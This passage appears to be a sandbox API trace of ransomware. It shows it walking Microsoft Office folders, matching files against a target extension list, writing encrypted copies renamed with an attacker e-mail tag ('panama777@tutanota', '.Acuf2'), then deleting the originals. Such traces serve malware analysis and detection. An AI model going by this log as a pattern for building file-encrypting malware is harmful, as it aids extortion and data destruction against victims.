	[0059.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.671] GetLastError () returned 0x0
	[0059.671] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1485, lpOverlapped=0x0) returned 1
	[0059.852] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1490, lpOverlapped=0x0) returned 1
	[0059.853] ReadFile (in: hFile=0x184, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.853] WriteFile (in: hFile=0x1a0, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.853] SetEndOfFile (hFile=0x1a0) returned 1
	[0060.411] CloseHandle (hObject=0x1a0) returned 1
	[0060.411] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0060.411] SetEndOfFile (hFile=0x184) returned 1
	[0060.412] CloseHandle (hObject=0x184) returned 1
	[0060.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0060.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) 

Thread:
	id = 12
	os_tid = 0x954

	[0036.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x35b0048
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x35c0050
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540918
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a100
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540930
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x36b0020
	[0036.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540948
	[0036.572] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540948, Size=0x20) returned 0x525c28
	[0036.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540948
	[0036.573] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540948, Size=0x20) returned 0x525d68
	[0036.573] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.573] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.573] Wow64DisableWow64FsRedirection (in: OldValue=0x2d7ff58 | out: OldValue=0x2d7ff58*=0x0) returned 1
	[0036.573] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.573] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525d68 | out: hHeap=0x4f0000) returned 1
	[0036.573] Sleep (dwMilliseconds=0x64) 
	[0036.879] Sleep (dwMilliseconds=0x64) 
	[0037.048] Sleep (dwMilliseconds=0x64) 
	[0037.731] Sleep (dwMilliseconds=0x64) 
	[0037.903] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0037.903] lstrlenW (lpString="Setup.xml") returned 9
	[0037.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.505] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2296) returned 1
	[0038.546] CloseHandle (hObject=0x19c) returned 1
	[0038.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.546] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.547] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.547] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0038.547] GetLastError () returned 0x0
	[0038.547] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x8f8, lpOverlapped=0x0) returned 1
	[0038.560] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0038.561] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.561] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.561] SetEndOfFile (hFile=0x1a0) returned 1
	[0038.561] CloseHandle (hObject=0x1a0) returned 1
	[0038.562] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.562] SetEndOfFile (hFile=0x19c) returned 1
	[0038.563] CloseHandle (hObject=0x19c) returned 1
	[0038.563] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.563] lstrlenW (lpString=".doc") returned 4
	[0038.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.563] lstrlenW (lpString=".docx") returned 5
	[0038.564] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.564] lstrlenW (lpString=".pdf") returned 4
	[0038.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString=".xls") returned 4
	[0038.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString=".xlsx") returned 5
	[0038.564] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.564] lstrlenW (lpString=".ppt") returned 4
	[0038.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString=".zip") returned 4
	[0038.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.564] lstrlenW (lpString=".rar") returned 4
	[0038.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString=".bz2") returned 4
	[0038.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString=".7z") returned 3
	[0038.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString=".dbf") returned 4
	[0038.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString=".1cd") returned 4
	[0038.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString=".jpg") returned 4
	[0038.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.564] lstrlenW (lpString=".doc") returned 4
	[0038.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.564] lstrlenW (lpString=".docx") returned 5
	[0038.564] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.565] lstrlenW (lpString=".pdf") returned 4
	[0038.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString=".xls") returned 4
	[0038.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString=".xlsx") returned 5
	[0038.565] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.565] lstrlenW (lpString=".ppt") returned 4
	[0038.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.565] lstrlenW (lpString=".zip") returned 4
	[0038.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.565] lstrlenW (lpString=".rar") returned 4
	[0038.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString=".bz2") returned 4
	[0038.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString=".7z") returned 3
	[0038.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.565] lstrlenW (lpString=".dbf") returned 4
	[0038.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.565] lstrlenW (lpString=".1cd") returned 4
	[0038.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.565] lstrlenW (lpString=".jpg") returned 4
	[0038.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.565] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.565] lstrlenW (lpString="Setup.xml") returned 9
	[0038.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.566] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=6241) returned 1
	[0038.567] CloseHandle (hObject=0x19c) returned 1
	[0038.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.567] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.567] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0038.568] GetLastError () returned 0x0
	[0038.568] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x1861, lpOverlapped=0x0) returned 1
	[0038.570] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1870, lpOverlapped=0x0) returned 1
	[0038.571] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.571] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.571] SetEndOfFile (hFile=0x1a0) returned 1
	[0038.571] CloseHandle (hObject=0x1a0) returned 1
	[0038.572] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.572] SetEndOfFile (hFile=0x19c) returned 1
	[0038.573] CloseHandle (hObject=0x19c) returned 1
	[0038.573] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.573] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.573] lstrlenW (lpString=".doc") returned 4
	[0038.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.573] lstrlenW (lpString=".docx") returned 5
	[0038.573] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.573] lstrlenW (lpString=".pdf") returned 4
	[0038.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString=".xls") returned 4
	[0038.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString=".xlsx") returned 5
	[0038.574] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.574] lstrlenW (lpString=".ppt") returned 4
	[0038.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString=".zip") returned 4
	[0038.574] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.574] lstrlenW (lpString=".rar") returned 4
	[0038.574] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString=".bz2") returned 4
	[0038.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString=".7z") returned 3
	[0038.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString=".dbf") returned 4
	[0038.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString=".1cd") returned 4
	[0038.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString=".jpg") returned 4
	[0038.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.574] lstrlenW (lpString=".doc") returned 4
	[0038.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.574] lstrlenW (lpString=".docx") returned 5
	[0038.574] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.574] lstrlenW (lpString=".pdf") returned 4
	[0038.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString=".xls") returned 4
	[0038.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString=".xlsx") returned 5
	[0038.575] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.575] lstrlenW (lpString=".ppt") returned 4
	[0038.575] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.575] lstrlenW (lpString=".zip") returned 4
	[0038.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.575] lstrlenW (lpString=".rar") returned 4
	[0038.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString=".bz2") returned 4
	[0038.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString=".7z") returned 3
	[0038.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.575] lstrlenW (lpString=".dbf") returned 4
	[0038.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.575] lstrlenW (lpString=".1cd") returned 4
	[0038.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.575] lstrlenW (lpString=".jpg") returned 4
	[0038.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.575] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.575] lstrlenW (lpString="VisioMUI.xml") returned 12
	[0038.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.576] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9503) returned 1
	[0038.576] CloseHandle (hObject=0x19c) returned 1
	[0038.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020
	[0038.576] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.576] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0038.576] GetLastError () returned 0x0
	[0038.576] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x251f, lpOverlapped=0x0) returned 1
	[0038.578] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2520, lpOverlapped=0x0) returned 1
	[0038.579] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.579] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0038.580] SetEndOfFile (hFile=0x1a0) returned 1
	[0038.580] CloseHandle (hObject=0x1a0) returned 1
	[0038.580] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.580] SetEndOfFile (hFile=0x19c) returned 1
	[0038.581] CloseHandle (hObject=0x19c) returned 1
	[0038.581] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
